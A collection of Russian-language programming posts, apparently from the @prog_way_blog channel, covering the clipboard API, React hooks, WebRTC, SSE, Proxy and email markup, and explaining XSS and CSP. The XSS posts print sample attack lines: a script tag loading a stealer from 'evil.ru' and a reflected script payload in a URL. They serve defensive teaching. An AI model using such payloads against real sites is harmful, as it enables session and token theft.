Как скопировать значение в буфер обмена

Часто может возникнуть необходимость скопировать какое-то значение в буфер обмена, например, при нажатии на кнопку, и есть два способа сделать это:

Современный метод использует navigator.clipboard. Это браузерное API, которое предоставляет асинхронные методы для чтения и записи данных в буфер обмена

navigator.clipboard.writeText('Какой-то текст')

Этот метод прост, но есть один важный нюанс: он работает только в безопасных контекстах (например, на страницах, загруженных по HTTPS). Проверить это можно с помощью флага window.isSecureContext. Если страница не является безопасной, вызов методов из navigator.clipboard вызовет ошибку

До появления navigator.clipboard использовался метод document.execCommand('copy'). Он требует немного больше манипуляций с DOM, но работает в небезопасных контекстах и даже самых старых браузерах:

// нужно создать какой-то текстовый элемент 
// и установить ему необходимое значение
const textArea = document.createElement('textarea');
textArea.value = "Какой-то текст";

// убрать элемент куда-то далеко
textArea.style.position = 'absolute';
textArea.style.left = '-999999px;

// и добавить его в вёрстку
document.body.prepend(textArea);

// далее выделить наше поле ввода
textArea.select();

try {
  // и скопировать значение в буфер обмена
  document.execCommand('copy');
  console.log('Текст скопирован!');
} catch (err) {
  console.error('Не удалось скопировать текст: ', err);
}

// не забываем удалить элемент из вёрстки
textArea.remove()

Комбинацией обоих способов можно покрыть абсолютно все кейсы во всех браузерах:

if (navigator.clipboard && window.isSecureContext) {
  // используем navigator.clipboard
} else {
  // используем document.execCommand('copy')
}

Кратко:

— в современных браузерах используется браузерное API navigator.clipboard для взаимодействия с буфером
— в старых браузерах и на страницах, работающих по http, используется устаревший document.execCommand

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #javascript #theory #data

Теги для шаблонных строк

В JavaScript есть, как по мне, крайне странный синтаксис. Самым очевидным его применением можно считать styled-components и выглядит всё это примерно так:

const display = 'flex';

const Button = styled.button`
    padding: 10px;
    color: red;
    display: ${display}
`

В результате выполнения этого чуда мы получим компонент на основе нативного button с предустановленными стилями из литералов

Но вы когда нибудь задумывались, что styled.button — это тоже функция? А как она вызывается? Как устроена внутри?

На самом деле, самый базовый пример такого синтаксиса можно рассмотреть так:

function foo(strings, ...values) {
    let result = strings[0];
  
    values.forEach((value, index) => {
        result += value + strings[index + 1];
    });

    return result;
}

Всё, что делает эта функция — собирает строку из шаблона и подставленных переменных

— strings — массив строк, содержащий все части текста, разделенные переменными
— values — массив значений, которые вставляются внутрь шаблона

Попробуем вызвать нашу функцию:

const name = "Денис"
const channel = "progway"

foo`Меня зовут ${name} и я люблю ${channel}`

Использование обратных кавычек после именования функции вызывает эту самую функцию

Для нашего примера, strings — это:

[
"Меня зовут ",
" и я люблю ",
""
]

а values:

[
"Денис",
"progway"
]

По такому же принципу и работает styled-components, конечно же, с более сложной логикой внутри

Этот синтаксис очень специфичный, ему не так много применений, но всё таки в некоторых случаях он бывает очень удобен. Например, в призме, с помощью такого такого синтаксиса можно кинуть запрос в БДшку

В реальной жизни вам скорее всего не понадобится писать подобные функции, но вдруг..

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #javascript #theory #data #code

Связываем React и localStorage через useSyncExternalStore

Как согласовать изменение состояния в реакте и поля в localStorage? До недавнего времени самым простым вариантом было создать контекст с внутренним React состоянием и обрабатывать всё взаимодействие с localStorage через него — вариант рабочий, но далеко не идеален: легко напороться на ререндеры, много кода писать нужно ну и вот это вот всё

Также можно обработать какое-то не-реактовое значение через комбинацию useState + useEffect, но это ещё менее надёжно, ведь браузерные значения могут меняться и без уведомления реакта, и, соответственно, без ререндера

Красиво в одной из статей на хабре описали:

Для работы с состоянием в React используются хуки useState и useReducer, но они не умеют работать с состоянием, которое "живет" за пределами React, поскольку в один момент времени доступна только одна версия внешнего состояния.

Значения внешнего состояния могут меняться со временем без ведома React, что может приводить к таким проблемам, как отображение двух разных значений для одних и тех же данных.

Статья: https://habr.com/ru/companies/timeweb/articles/720136/

Но не так давно в 18 версию React добавили хук useSyncExternalStore, который такую задачу решает намного изящнее

Многие скипнули его и даже не знают зачем он нужен, что, в целом, достаточно ожидаемо, ведь даже команда разработчиков позиционировала его больше как хук для разработчиков библиотек, а мы тут далеко не все пишем свои либы

Короче, что это за хук вообще? Очень просто — этот хук нужен для более глубокой интеграции внешних хранилищ в модель React. Говоря проще — хук нужен для того, чтобы триггерить рендер из внешних хранилищ, а не только через setState функции

Как раз этот хук и поможет нам интегрироваться с localStorage сильно проще и безопаснее. Тут localStorage в понятие внешнего хранилища ложится просто шикарно

На коленке код будет выглядеть примерно так:

const useLocalStorageState = (key: string, defaultValue?: string) => {
  const subscribe = (listener: () => void) => {
    window.addEventListener("update-local-storage", listener);
    return () => void window.removeEventListener("update-local-storage", listener);
  };

  const getSnapshot = () => localStorage.getItem(key) ?? defaultValue;

  const store = useSyncExternalStore(subscribe, getSnapshot);

  const updateStore = (newValue: string) => {
    localStorage.setItem(key, newValue);
    window.dispatchEvent(new StorageEvent("update-local-storage", { key, newValue }));
  };

  return [store, updateStore] as const;
};

В чём тут идея:
1. При вызове updateStore будем помимо изменения значения в localStorage диспатчить на window ещё и StorageEvent с ключом, например, "update-local-storage"
2. В функции подписки subscribe объясним когда нужно вызывать getSnapshot для получения актуального состояния из внешнего хранилища и когда от его прослушивания нужно отписаться. Можно воспринимать как эффект

Использовать будем как обычный useState:

const [name, setName] = useLocalStorageState("name", "progway");

Теперь хук при вызове с одним и тем же ключом к localStorage (name в примере выше) будет обновлять все зависимые компоненты при регистрации события "update-local-storage" на window

Используя тот же подход, можно реализовать порой очень полезные хуки useMediaQuery, useWindowSize и другие. О первых двух можно прочитать в статье от Timeweb Cloud

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #javascript #theory #data #code #react

Галопом по теории WebRTC

Тема большая, но попробую максимально сжато рассказать в текстовом посте

WebRTC — Web Real Time Communications — стандарт, который описывает прямую передачу потоковых аудиоданных, видеоданных и контента между клиентами в режиме реального времени. На основе этого стандарта работают всякие зумы, телемосты, google meet и прочие площадки

Для реализации такого соединения в браузерах используется нативный JS класс RTCPeerConnection

Причем акцент тут на фразе "прямая передача", так как WebRTC в идеале, пусть и не всегда, представляет собой p2p соединение

p2p — peer-to-peer — это такое сетевое соединение, которое позволяет двум или более устройствам общаться между собой напрямую без сервера-посредника. Ещё такие соединения называют одноранговыми

Однако, если мы можем общаться между устройствами без посредника, это не значит, что мы можем установить соединение без посредника

Для того чтобы установить прямое соединение между двумя клиентами, нужно знать их IP адреса. А мы, как пользователи какого-нибудь ноутбука не можем напрямую узнать IP адрес ноутбука нашего друга, потому что скорее всего у его устройства нет публичного статичного IP адреса

У каждого устройства в сети гарантированно может быть только локальный IP адрес, который далее через NAT транслируется во внешнюю сеть

NAT — Network Address Translation — механизм TCP/IP, который позволяет транслировать внутренние локальные IP адреса во внешние IP адреса за пределами нашего маршрутизатора (можно назвать роутером), который будет выступать в роли межсетевого экрана (файрвол)

Короче, чтобы решить всю эту сетевую кашу, существует STUN, который позволяет каждому клиенту узнать свой публичный адрес и инициатору соединения сформировать две сущности — Offer и ICE Candidate

STUN — Session Traversal Utilities for NAT (перевод "утилиты обхода сеансов для NAT") — это протокол, который позволяет каждому устройству узнать свой внешний IP адрес даже за файрволом

Клиент отправляет STUN серверу запрос, затем сервер STUN отправляет клиенту обратно информацию о том, каков внешний адрес маршрутизатора NAT, и какой порт открыт на NAT для приема входящих запросов обратно во внутреннюю сеть

Offer — это предложение открыть прямое соединение на основе параметров связи, то есть Offer описывает используемые кодеки для передачи контента, информацию о медиа-потоках (видео, аудио) и тд

ICE Candidate — это метаданные устройства в p2p сети: его IP, порт и прочие параметры

Далее две эти сущности отправляются сигнальному серверу, и уже через сигнальный сервер инициатор получит Answer (то же самое, что и Offer, только от второго клиента)

Прямое соединение откроется только после выполнения всех этих шагов, но для открытия соединения нужен сервер-посредник

Сигнальный сервер — это то, что мы можем реализовать сами на любых удобных технологиях. Тут вообще не важно как Offer, Answer и ICE Candidate будут передаваться между клиентами — REST API, сокеты... хоть голубями отправляйте

Немного задушил теорией и надеюсь, что нигде не ошибся, пишите если что

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #theory #data

Флоу рендеринга компонента в React

Небольшая шпаргалка, которая содержит в себе очередь вызова эффектов при маунте и апдейте компонента.

➡️При маунте порядок следующий:

1. Рендер на основе изначальных значений состояний
2. useInsertionEffect
3. Создание DOM
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect

➡️При апдейте компонента:

1. Рендер на основе новых значений состояний
2. Обновление DOM
3. useInsertionEffect
4. Прикрепление ссылок на ноды (ref)
5. useLayoutEffect
6. useEffect

📎Решил вынести её в канал, потому что сам прям недавно сталкивался с этим на рабочем проекте и подумал, что это тоже кому-то может быть полезно

Ну и не реклама, а реально рекомендация — на эту тему хочу поделиться видео Аюба Бегимкулова о нестандартном применении useInsertionEffect. Там он более подробно рассказывает почему порядок именно такой и в целом чуть более подробно раскрывает тему рендера с примерами в коде

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #theory #react

Что такое Server-Sent Events

SSE — это технология для однонаправленного соединения между сервером и клиентом, которая позволяет серверу отправлять обновления данных в реальном времени

Часто SSE могут стать отличной альтернативой WebSocket. Он отлично подойдёт для кейсов, когда:
1. Нам нужно постоянно получать обновления с сервера
2. Не нужно постоянно отправлять что-то с клиента

Такая односторонняя связь полезна при реализации:
— уведомлений
— обновления данных в реальном времени (цен, загрузки CPU...)
— индикатора прогресса загрузки большого файла
— даже в играх

И многих других случаях

Фикус в том, что держать SSE гораздо проще и дешевле, чем держать WebSocket. Как по коду, так и по перфомансу

Для реализации понадобится только простенький эндпоинт на сервере, а далее процесс выглядит так:
1. Клиент делает GET запрос на подготовленный эндпоинт через EventStream
2. Сервер создаёт event-stream, просто устанавливая нужный заголовок. Соединение не закрывается, и с этого момента сервер может пушить в стрим любые строковые данные
3. Клиент подписывается на новое сообщение в стриме

На сервере это будет выглядеть примерно так:

const http = require('http');

http.createServer((req, res) => {
  if (req.url === '/stream') {
    res.writeHead(200, {
      'Content-Type': 'text/event-stream',
      'Cache-Control': 'no-cache',
      'Connection': 'keep-alive',
    });

    setInterval(() => {
      res.write('data:  ПРИВЕТ!\n\n');
    }, 1000);
  }
}).listen(3000);

На клиенте это будет выглядеть примерно так:

const source = EventSource('/stream')

sourse.addEventListener('message', (message) => {
  console.log(message.data)
})

С таким кодом мы будем получать на клиенте сообщение "ПРИВЕТ!" каждую секунду

При этом, конечно же, никто не мешает усложнить логику со стороны сервера, и пушить новые сообщения в стрим не каждую секунду, а только при изменении данных

И конечно же никто не запрещает обернуть стрим в какой-нибудь React хук и сделать дженеричное решение для всего проекта/проектов

Если вы ни разу не работали SSE, то очень рекомендую потыкать хотя бы в песочнице — очень крутая штука!

Если кратко:

SSE — технология однонаправленной связи от сервера к клиенту
С помощью SSE можно обновлять данные на клиенте в рамках одного соединения в реальном времени

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blog — чат — #theory #javascript #code #data #web

Верстка писем — это боль? или нет..?

Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...

Вёрстка письма — это крайне специфичное занятие, при котором нет возможности использовать добрую половину, если не больше, возможностей HTML и CSS

Почтовые движки настолько старые, что многие из них до сих пор требуют верстки с использованием таблиц, прямо как в 90-х. Но гораздо интереснее вопрос — почему получилось именно так? Я бы выделил пару причин:

➡️ Что и так понятно, причина историческая

Вёрстка письма — задача часто тривиальная. Вот многие и не заморачиваются с обновлением движков, так как это не дает какой-то бизнес выгоды. Нет абсолютно никакой разницы между вёрсткой письма для отправки PIN-кода для входа на таблицах или на флексах

➡️ Безопасность

Если углубиться и задуматься, то окажется, что у большинства запретов есть свой вполне объективный смысл. Есть много способов "заставить" вёрстку сходить куда-то за данными:

@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)

<form action="https://.../steal.php" method="get">

И ещё куча других примеров — везде так или иначе наше письмо отправляет какой-то запрос. А это уже опасно тем, что открывает кучу возможностей для слежки за пользователем. Например, можно узнать реальный IP пользователя просто при открытии письма (открытие письма → запрос картинки → трекинг IP)

Также, например, запрещён position:fixed, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиента

Но самое главное, что всё реально развивается и стало лучше!

— Outlook теперь рендерит письма на движке от Edge, а не от Microsoft Word (блин, да! до 2022 года письма реально рендерились на основе... ворда! )
— почти все почтовые клиенты научились понимать <div /> 😎
— много где появилась поддержка медиа запросов
— ну и много чего ещё

А самое главное, что появились крутые инструменты для вёрстки писем, которые из коробки закрывают много проблем — когда-то относительно давно появился MJML и сделал небольшую революцию, а в последние годы так и вовсе очень сильно хайпят react-email или vue-email

Мне недавно довелось сверстать десяток писем на react-email и с уверенностью могу сказать, что это было совсем-совсем не больно:
— тут тебе и tailwind
— и аля аналог storybook для шаблонов
— кастомные шрифты
— куча шаблонов и примеров кода
— поддержка markdown для текстов
— куча фиксов для почтовых клиентов...

И всё это чудо в удобной обёртке из коробки с поддержкой компонентного подхода без смс и даже без регистрации

Как по мне, в современных реалиях верстать письма стало в разы легче, за что большое спасибо всему комьюнити. Если вдруг ранее вы обходили стороной вёрстку писем, загляните. Это тоже по-своему интересно

Ну и react-email тоже рекомендую, приятный инструмент

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #useful #web #react

Как реагировать на изменения объекта

В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy

Proxy — это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над ними

new Proxy(target, handlers) создаёт прокси для объекта target, где handler содержит ловушки для перехвата операций

Ловушек много — get, set, deleteProperty, has... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним

Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:

const user = { name: "Денис", age: 23 };

const proxyUser = new Proxy(user, {
  get(target, key) {
    return key in target ? target[key] : "Не найдено";
  }
});

proxyUser.name // "Денис"
proxyUser.city // "Не найдено"

Но это лишь частный случай, можно сделать более утилитарный пример:

const reactive = (obj, callback) => {
  return new Proxy(obj, {
    set(target, key, value) {
      target[key] = value; // обновляем значение
      callback(key, value); // вызываем реакцию
      return true;
    }
  });
};

// Используем:
const state = reactive({ count: 0 }, (key, value) => {
  console.log(`Свойство "${key}" изменилось:`, value);
});

state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"

Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿

Сам Proxy — это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же был

В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования

Удобно, что Proxy крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазией

Если кратко:

— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #theory #useful #javascript #code #web #patterns

Как создать массив фиксированной длины?

На самом деле, способов множество. Можно создать простой массив пустых элементов:

Array(100)

Но тогда будет проблема с тем, чтобы его заполнить.
Решить её очень просто — можно просто заполнить массив через метод fill:

Array(100).fill(0)

Или мы можем попробовать вызвать метод map и заполнить массив индексами:

Array(100).map((_, index) => index)

Пробуйте угадать что получится в ходе выполнения кода выше😂

Ответ:
⬇️

Получится [empty × 100], а не массив индексов)

Тут дело в том, что при вызове Array(100) у нас изначально создаётся "разряженный" массив. Это когда под каждый элемент массива даже память не выделяется.

Язык просто создаёт пустую структуру с полем length в значении 100

А что будет, если вызвать вот такой код?

Object.keys(Array(100)).length

Ответ: ноль, потому что значений в массиве по сути то и нет. Поэтому и map не работает

Поэтому если мы хотим использовать map, то придётся использовать вот такой хак:

[...Array(100)].map((_, index) => index)

Такая конструкция уже превратит разряженный массив в массив из сотни undefined и позволит вызвать map

Мой любимый способ, который я использую всегда в подобных кейсах:

Array.from({ length: 100 })

Мне так привычнее и синтаксически наиболее понятно. Да и ещё фишка в том, что вторым аргументом в from можно сразу передать функцию-маппер:

Array.from({ length: 100 }, () => 'привет')

Ну или прям совсем в лоб, про такое тоже не забываем:

const array = []

for (let i = 0; i < 100; i++) {
    array.push('progway')
}

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blog — чат — #web #javascript #theory #data

Что такое XSS

XSS — это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта

При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)

На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция

Как по мне, самый распространенный вариант попасться на XSS атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходу

Сайты, не защищённые CSP или с 'unsafe-inline' директивой — лакомый кусочек для таких типов атак

1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет HTML через innerHTML

2. Внедряется какой-нибудь <script src="https://evil.ru/steal.js"></script>, этот скрипт крадёт токен из localStorage и отправляет на сервер злоумышленника

Итог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров

Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования HTML разметки (например, innerHTML)
— Не забывать про флаг HttpOnly на куках
— Использовать Content Security Policy — CSP (об этом в одном из следующих постов)

Спасибо за прочтение, это важно для меня 💙

@prog_way_blog — чат — #theory #useful #web

Content Security Policy

CSP — механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)

Основная задача CSP — защитить пользователя от инъекционных атак, типа XSS, блокируя любые недоверенные ресурсы

CSP можно задавать через HTTP заголовок или через meta тег. И, если честно, с CSP в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики

Обычно политику можно задать в конфиге Nginx, условного Express или даже в докере через заголовок: Content-Security-Policy. Выглядеть это в упрощённом случае может примерно так:

Content-Security-Policy: default-src 'self' https://trusted.ru;

Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru

Если на сайте настроена CSP без разрешения на инлайн-скрипты 'unsafe-inline' и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script> вне белого списка. Это эффективно снижает риск XSS

unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.

Вот так это может выглядеть:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline';

В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа Nuxt/Next из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаете

Ну и так же помните, что фреймворки не защищают вас полностью

А CSP — не панацея, но очень мощный инструмент “защиты в глубину”.
Настройте хотя бы простое правило (default-src 'self'), а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blog — чат — #theory #useful #web

Ещё один пример XSS уязвимости

Предположим, сайт a.com не защищён от XSS. Допустим, там есть URL-параметр, который встраивается в страницу как есть:

<div>Результаты поиска: <?php echo $_GET['query']; ?></div>

Что делает злоумышленник:

1. Создаёт специальную ссылку, например:

https://a.com/search?query=<script>alert('Я украл твою почку!')</script>

2. Обманом заставляет вас перейти по этой ссылке (через фишинговое письмо, сообщение в соцсети и т.д.)

Что происходит у вас в браузере:

1. Вы заходите на a.com через эту ссылку

2. Сервер a.com вставляет <script>...</script> прямо в HTML

3. Ваш браузер видит этот скрипт и выполняет его, потому что считает, что он пришёл с доверенного сайта a.com

Ну и всё, вы остались без почки

Поможет ли тут CSP? Ответ: увы, нет

Нужно понимать, что CSP проверяет только источник, а не содержимое скрипта. Тут вредоносный скрипт встроил сам доверенный сервер, CSP такой скрипт ничем не смутит. Зато эту проблему можно решить банальным экранированием

Спасибо за прочтение, это важно для меня 💖

@prog_way_blog — чат — #theory #useful #web